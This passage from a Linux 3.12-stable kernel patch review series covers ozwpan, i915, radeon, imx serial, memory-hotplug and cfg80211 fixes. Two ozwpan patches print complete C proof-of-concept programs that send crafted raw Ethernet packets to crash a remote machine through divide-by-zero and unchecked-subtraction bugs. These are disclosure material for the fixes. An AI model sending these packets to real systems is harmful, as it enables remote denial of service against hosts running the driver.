@@ -387,10 +387,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
 	case OZ_GET_DESC_RSP: {
 			struct oz_get_desc_rsp *body =
 				(struct oz_get_desc_rsp *)usb_hdr;
-			int data_len = elt->length -
-					sizeof(struct oz_get_desc_rsp) + 1;
-			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
-			u16 total_size =
+			u16 offs, total_size;
+			u8 data_len;
+
+			if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
+				break;
+			data_len = elt->length -
+					(sizeof(struct oz_get_desc_rsp) - 1);
+			offs = le16_to_cpu(get_unaligned(&body->offset));
+			total_size =
 				le16_to_cpu(get_unaligned(&body->total_size));
 			oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
 			oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
-- 
2.4.6

[PATCH 3.12 018/124] ozwpan: divide-by-zero leading to panic

[Jiri Slaby]

From: "Jason A. Donenfeld" <Jason@zx2c4.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream.

A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed)
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 5f51faeccc9b..908a0b0ec4e0 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -324,7 +324,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n = (len - sizeof(struct oz_multiple_fixed)+1)
+			int n;
+			if (!body->unit_size)
+				break;
+			n = (len - sizeof(struct oz_multiple_fixed)+1)
 				/ body->unit_size;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
-- 
2.4.6

[PATCH 3.12 019/124] ozwpan: unchecked signed subtraction leads to DoS

[Jiri Slaby]

From: "Jason A. Donenfeld" <Jason@zx2c4.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream.

The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed) - 3
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 1,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/staging/ozwpan/ozusbsvc1.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 908a0b0ec4e0..fb1423050e00 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -324,10 +324,11 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n;
-			if (!body->unit_size)
+			unsigned int n;
+			if (!body->unit_size ||
+				len < sizeof(struct oz_multiple_fixed) - 1)
 				break;
-			n = (len - sizeof(struct oz_multiple_fixed)+1)
+			n = (len - (sizeof(struct oz_multiple_fixed) - 1))
 				/ body->unit_size;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
-- 
2.4.6

[PATCH 3.12 020/124] pata_octeon_cf: fix broken build

[Jiri Slaby]

From: Aaro Koskinen <aaro.koskinen@nokia.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 4710f2facb5c68d629015747bd09b37203e0d137 upstream.

MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the
build. Fix that.

Signed-off-by: Aaro Koskinen <aaro.koskinen@nokia.com>
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/ata/pata_octeon_cf.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/ata/pata_octeon_cf.c b/drivers/ata/pata_octeon_cf.c
index c51bbb9ea8e8..0c5fa674401e 100644
--- a/drivers/ata/pata_octeon_cf.c
+++ b/drivers/ata/pata_octeon_cf.c
@@ -1068,7 +1068,7 @@ static struct of_device_id octeon_cf_match[] = {
 	},
 	{},
 };
-MODULE_DEVICE_TABLE(of, octeon_i2c_match);
+MODULE_DEVICE_TABLE(of, octeon_cf_match);
 
 static struct platform_driver octeon_cf_driver = {
 	.probe		= octeon_cf_probe,
-- 
2.4.6

[PATCH 3.12 021/124] drm/i915/hsw: Fix workaround for server AUX channel clock divisor

[Jiri Slaby]

From: Jim Bride <jim.bride@linux.intel.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit e058c945e03a629c99606452a6931f632dd28903 upstream.

According to the HSW b-spec we need to try clock divisors of 63
and 72, each 3 or more times, when attempting DP AUX channel
communication on a server chipset.  This actually wasn't happening
due to a short-circuit that only checked the DP_AUX_CH_CTL_DONE bit
in status rather than checking that the operation was done and
that DP_AUX_CH_CTL_TIME_OUT_ERROR was not set.

[v2] Implemented alternate solution suggested by Jani Nikula.

Signed-off-by: Jim Bride <jim.bride@linux.intel.com>
Signed-off-by: Jani Nikula <jani.nikula@intel.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/gpu/drm/i915/intel_dp.c | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/drivers/gpu/drm/i915/intel_dp.c b/drivers/gpu/drm/i915/intel_dp.c
index b0191f25cd55..5a9ef60ab625 100644
--- a/drivers/gpu/drm/i915/intel_dp.c
+++ b/drivers/gpu/drm/i915/intel_dp.c
@@ -394,10 +394,8 @@ intel_dp_aux_ch(struct intel_dp *intel_dp,
 				      DP_AUX_CH_CTL_RECEIVE_ERROR))
 				continue;
 			if (status & DP_AUX_CH_CTL_DONE)
-				break;
+				goto done;
 		}
-		if (status & DP_AUX_CH_CTL_DONE)
-			break;
 	}
 
 	if ((status & DP_AUX_CH_CTL_DONE) == 0) {
@@ -406,6 +404,7 @@ intel_dp_aux_ch(struct intel_dp *intel_dp,
 		goto out;
 	}
 
+done:
 	/* Check for timeout or receive error.
 	 * Timeouts occur when the sink is not connected
 	 */
-- 
2.4.6

[PATCH 3.12 022/124] drm/i915: Fix DDC probe for passive adapters

[Jiri Slaby]

From: Jani Nikula <jani.nikula@intel.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 3f5f1554ee715639e78d9be87623ee82772537e0 upstream.

Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI
devices, as they do not have a sink device in them to respond to any AUX
traffic. When probing these dongles over the DDC, sometimes they will
NAK the first attempt even though the transaction is valid and they
support the DDC protocol. The retry loop inside of
drm_do_probe_ddc_edid() would normally catch this case and try the
transaction again, resulting in success.

That, however, was thwarted by the fix for [1]:

commit 9292f37e1f5c79400254dca46f83313488093825
Author: Eugeni Dodonov <eugeni.dodonov@intel.com>
Date:   Thu Jan 5 09:34:28 2012 -0200

    drm: give up on edid retries when i2c bus is not responding

This added code to exit immediately if the return code from the
i2c_transfer function was -ENXIO in order to reduce the amount of time
spent in waiting for unresponsive or disconnected devices. That was
possible because the underlying i2c bit banging algorithm had retries of
its own (which, of course, were part of the reason for the bug the
commit fixes).

Since its introduction in

commit f899fc64cda8569d0529452aafc0da31c042df2e
Author: Chris Wilson <chris@chris-wilson.co.uk>
Date:   Tue Jul 20 15:44:45 2010 -0700

    drm/i915: use GMBUS to manage i2c links

we've been flipping back and forth enabling the GMBUS transfers, but
we've settled since then. The GMBUS implementation does not do any
retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop
on first encounter of -ENXIO. This, combined with Eugeni's commit, broke
the retry on -ENXIO.

Retry GMBUS once on -ENXIO on first message to mitigate the issues with
passive adapters.

This patch is based on the work, and commit message, by Todd Previte
<tprevite@gmail.com>.

[1] https://bugs.freedesktop.org/show_bug.cgi?id=41059

v2: Don't retry if using bit banging.

v3: Move retry within gmbux_xfer, retry only on first message.

v4: Initialize GMBUS0 on retry (Ville).

v5: Take index reads into account (Ville).

Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924
Cc: Todd Previte <tprevite@gmail.com>
Tested-by: Oliver Grafe <oliver.grafe@ge.com> (v2)
Tested-by: Jim Bride <jim.bride@linux.intel.com>
Reviewed-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
Signed-off-by: Jani Nikula <jani.nikula@intel.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/gpu/drm/i915/intel_i2c.c | 20 +++++++++++++++++---
 1 file changed, 17 insertions(+), 3 deletions(-)

diff --git a/drivers/gpu/drm/i915/intel_i2c.c b/drivers/gpu/drm/i915/intel_i2c.c
index 36b720475dc0..2f66d0edaf54 100644
--- a/drivers/gpu/drm/i915/intel_i2c.c
+++ b/drivers/gpu/drm/i915/intel_i2c.c
@@ -441,7 +441,7 @@ gmbus_xfer(struct i2c_adapter *adapter,
 					       struct intel_gmbus,
 					       adapter);
 	struct drm_i915_private *dev_priv = bus->dev_priv;
-	int i, reg_offset;
+	int i = 0, inc, try = 0, reg_offset;
 	int ret = 0;
 
 	intel_aux_display_runtime_get(dev_priv);
@@ -454,12 +454,14 @@ gmbus_xfer(struct i2c_adapter *adapter,
 
 	reg_offset = dev_priv->gpio_mmio_base;
 
+retry:
 	I915_WRITE(GMBUS0 + reg_offset, bus->reg0);
 
-	for (i = 0; i < num; i++) {
+	for (; i < num; i += inc) {
+		inc = 1;
 		if (gmbus_is_index_read(msgs, i, num)) {
 			ret = gmbus_xfer_index_read(dev_priv, &msgs[i]);
-			i += 1;  /* set i to the index of the read xfer */
+			inc = 2; /* an index read is two msgs */
 		} else if (msgs[i].flags & I2C_M_RD) {
 			ret = gmbus_xfer_read(dev_priv, &msgs[i], 0);
 		} else {
@@ -531,6 +533,18 @@ clear_err:
 			 adapter->name, msgs[i].addr,
 			 (msgs[i].flags & I2C_M_RD) ? 'r' : 'w', msgs[i].len);
 
+	/*
+	 * Passive adapters sometimes NAK the first probe. Retry the first
+	 * message once on -ENXIO for GMBUS transfers; the bit banging algorithm
+	 * has retries internally. See also the retry loop in
+	 * drm_do_probe_ddc_edid, which bails out on the first -ENXIO.
+	 */
+	if (ret == -ENXIO && i == 0 && try++ == 0) {
+		DRM_DEBUG_KMS("GMBUS [%s] NAK on first message, retry\n",
+			      adapter->name);
+		goto retry;
+	}
+
 	goto out;
 
 timeout:
-- 
2.4.6

[PATCH 3.12 023/124] drm/radeon: fix freeze for laptop with Turks/Thames GPU.

[Jiri Slaby]

From: Jérôme Glisse <jglisse@redhat.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 6dfd197283bffc23a2b046a7f065588de7e1fc1e upstream.

Laptop with Turks/Thames GPU will freeze if dpm is enabled. It seems
the SMC engine is relying on some state inside the CP engine. CP needs
to chew at least one packet for it to get in good state for dynamic
power management.

This patch simply disabled and re-enable DPM after the ring test which
is enough to avoid the freeze.

Signed-off-by: Jérôme Glisse <jglisse@redhat.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/gpu/drm/radeon/radeon_device.c | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/drivers/gpu/drm/radeon/radeon_device.c b/drivers/gpu/drm/radeon/radeon_device.c
index 841d0e09be3e..8ca31266aa4a 100644
--- a/drivers/gpu/drm/radeon/radeon_device.c
+++ b/drivers/gpu/drm/radeon/radeon_device.c
@@ -1319,6 +1319,22 @@ int radeon_device_init(struct radeon_device *rdev,
 		if (r)
 			return r;
 	}
+
+	/*
+	 * Turks/Thames GPU will freeze whole laptop if DPM is not restarted
+	 * after the CP ring have chew one packet at least. Hence here we stop
+	 * and restart DPM after the radeon_ib_ring_tests().
+	 */
+	if (rdev->pm.dpm_enabled &&
+	    (rdev->pm.pm_method == PM_METHOD_DPM) &&
+	    (rdev->family == CHIP_TURKS) &&
+	    (rdev->flags & RADEON_IS_MOBILITY)) {
+		mutex_lock(&rdev->pm.mutex);
+		radeon_dpm_disable(rdev);
+		radeon_dpm_enable(rdev);
+		mutex_unlock(&rdev->pm.mutex);
+	}
+
 	if ((radeon_testing & 1)) {
 		if (rdev->accel_working)
 			radeon_test_moves(rdev);
-- 
2.4.6

[PATCH 3.12 024/124] serial: imx: Fix DMA handling for IDLE condition aborts

[Jiri Slaby]

From: Philipp Zabel <p.zabel@pengutronix.de>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 392bceedb107a3dc1d4287e63d7670d08f702feb upstream.

The driver configures the IDLE condition to interrupt the SDMA engine.
Since the SDMA UART ROM script doesn't clear the IDLE bit itself, this
caused repeated 1-byte DMA transfers, regardless of available data in the
RX FIFO. Also, when returning due to the IDLE condition, the UART ROM
script already increased its counter, causing residue to be off by one.

This patch clears the IDLE condition to avoid repeated 1-byte DMA transfers
and decreases count by when the DMA transfer was aborted due to the IDLE
condition, fixing serial transfers using DMA on i.MX6Q.

Reported-by: Peter Seiderer <ps.report@gmx.net>
Signed-off-by: Philipp Zabel <p.zabel@pengutronix.de>
Tested-by: Fabio Estevam <fabio.estevam@freescale.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/tty/serial/imx.c | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
index 042aa077b5b3..0af6a98d39d8 100644
--- a/drivers/tty/serial/imx.c
+++ b/drivers/tty/serial/imx.c
@@ -921,6 +921,14 @@ static void dma_rx_callback(void *data)
 
 	status = chan->device->device_tx_status(chan, (dma_cookie_t)0, &state);
 	count = RX_BUF_SIZE - state.residue;
+
+	if (readl(sport->port.membase + USR2) & USR2_IDLE) {
+		/* In condition [3] the SDMA counted up too early */
+		count--;
+
+		writel(USR2_IDLE, sport->port.membase + USR2);
+	}
+
 	dev_dbg(sport->port.dev, "We get %d bytes.\n", count);
 
 	if (count) {
-- 
2.4.6

[PATCH 3.12 025/124] mm/memory_hotplug.c: set zone->wait_table to null after freeing it

[Jiri Slaby]

From: Gu Zheng <guz.fnst@cn.fujitsu.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 85bd839983778fcd0c1c043327b14a046e979b39 upstream.

Izumi found the following oops when hot re-adding a node:

    BUG: unable to handle kernel paging request at ffffc90008963690
    IP: __wake_up_bit+0x20/0x70
    Oops: 0000 [#1] SMP
    CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80
    Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015
    task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000
    RIP: 0010:[<ffffffff810dff80>]  [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
    RSP: 0018:ffff880017b97be8  EFLAGS: 00010246
    RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9
    RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648
    RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000
    R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800
    R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000
    FS:  00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000
    CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
    CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0
    Call Trace:
      unlock_page+0x6d/0x70
      generic_write_end+0x53/0xb0
      xfs_vm_write_end+0x29/0x80 [xfs]
      generic_perform_write+0x10a/0x1e0
      xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs]
      xfs_file_write_iter+0x79/0x120 [xfs]
      __vfs_write+0xd4/0x110
      vfs_write+0xac/0x1c0
      SyS_write+0x58/0xd0
      system_call_fastpath+0x12/0x76
    Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48
    RIP  [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
     RSP <ffff880017b97be8>
    CR2: ffffc90008963690

Reproduce method (re-add a node)::
  Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic)

This seems an use-after-free problem, and the root cause is
zone->wait_table was not set to *NULL* after free it in
try_offline_node.

When hot re-add a node, we will reuse the pgdat of it, so does the zone
struct, and when add pages to the target zone, it will init the zone
first (including the wait_table) if the zone is not initialized.  The
judgement of zone initialized is based on zone->wait_table:

	static inline bool zone_is_initialized(struct zone *zone)
	{
		return !!zone->wait_table;
	}

so if we do not set the zone->wait_table to *NULL* after free it, the
memory hotplug routine will skip the init of new zone when hot re-add
the node, and the wait_table still points to the freed memory, then we
will access the invalid address when trying to wake up the waiting
people after the i/o operation with the page is done, such as mentioned
above.

Signed-off-by: Gu Zheng <guz.fnst@cn.fujitsu.com>
Reported-by: Taku Izumi <izumi.taku@jp.fujitsu.com>
Reviewed by: Yasuaki Ishimatsu <isimatu.yasuaki@jp.fujitsu.com>
Cc: KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>
Cc: Tang Chen <tangchen@cn.fujitsu.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 mm/memory_hotplug.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/mm/memory_hotplug.c b/mm/memory_hotplug.c
index db7314fcd441..efeb4871b7e3 100644
--- a/mm/memory_hotplug.c
+++ b/mm/memory_hotplug.c
@@ -1822,8 +1822,10 @@ void try_offline_node(int nid)
 		 * wait_table may be allocated from boot memory,
 		 * here only free if it's allocated by vmalloc.
 		 */
-		if (is_vmalloc_addr(zone->wait_table))
+		if (is_vmalloc_addr(zone->wait_table)) {
 			vfree(zone->wait_table);
+			zone->wait_table = NULL;
+		}
 	}
 }
 EXPORT_SYMBOL(try_offline_node);
-- 
2.4.6

[PATCH 3.12 026/124] cfg80211: wext: clear sinfo struct before calling driver

[Jiri Slaby]

From: Johannes Berg <johannes.berg@intel.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 9c5a18a31b321f120efda412281bb9f610f84aa0 upstream.

Until recently, mac80211 overwrote all the statistics it could
provide when getting called, but it now relies on the struct
having been zeroed by the caller. This was always the case in
nl80211, but wext used a static struct which could even cause
values from one device leak to another.

Using a static struct is OK (as even documented in a comment)
since the whole usage of this function and its return value is
always locked under RTNL. Not clearing the struct for calling
the driver has always been wrong though, since drivers were
free to only fill values they could report, so calling this
for one device and then for another would always have leaked
values from one to the other.

Fix this by initializing the structure in question before the
driver method call.

This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691

Reported-by: Gerrit Renker <gerrit@erg.abdn.ac.uk>
Reported-by: Alexander Kaltsas <alexkaltsas@gmail.com>
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 net/wireless/wext-compat.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/net/wireless/wext-compat.c b/net/wireless/wext-compat.c
index e7c6e862580d..6863d8458a29 100644
--- a/net/wireless/wext-compat.c
+++ b/net/wireless/wext-compat.c
@@ -1331,6 +1331,8 @@ static struct iw_statistics *cfg80211_wireless_stats(struct net_device *dev)
 	memcpy(bssid, wdev->current_bss->pub.bssid, ETH_ALEN);
 	wdev_unlock(wdev);
 
+	memset(&sinfo, 0, sizeof(sinfo));
+
 	if (rdev_get_station(rdev, dev, bssid, &sinfo))
 		return NULL;
 
-- 
2.4.6

[PATCH 3.12 027/124] btrfs: incorrect handling for fiemap_fill_next_extent return

[Jiri Slaby]

From: Chengyu Song <csong84@gatech.edu>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 26e726afe01c1c82072cf23a5ed89ce25f39d9f2 upstream.

fiemap_fill_next_extent returns 0 on success, -errno on error, 1 if this was
the last extent that will fit in user array. If 1 is returned, the return
value may eventually returned to user space, which should not happen, according
to manpage of ioctl.

Signed-off-by: Chengyu Song <csong84@gatech.edu>
Reviewed-by: David Sterba <dsterba@suse.cz>
Reviewed-by: Liu Bo <bo.li.liu@oracle.com>
Signed-off-by: Chris Mason <clm@fb.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 fs/btrfs/extent_io.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/fs/btrfs/extent_io.c b/fs/btrfs/extent_io.c
index 7015d9079bd1..855f6668cb8e 100644
--- a/fs/btrfs/extent_io.c
+++ b/fs/btrfs/extent_io.c
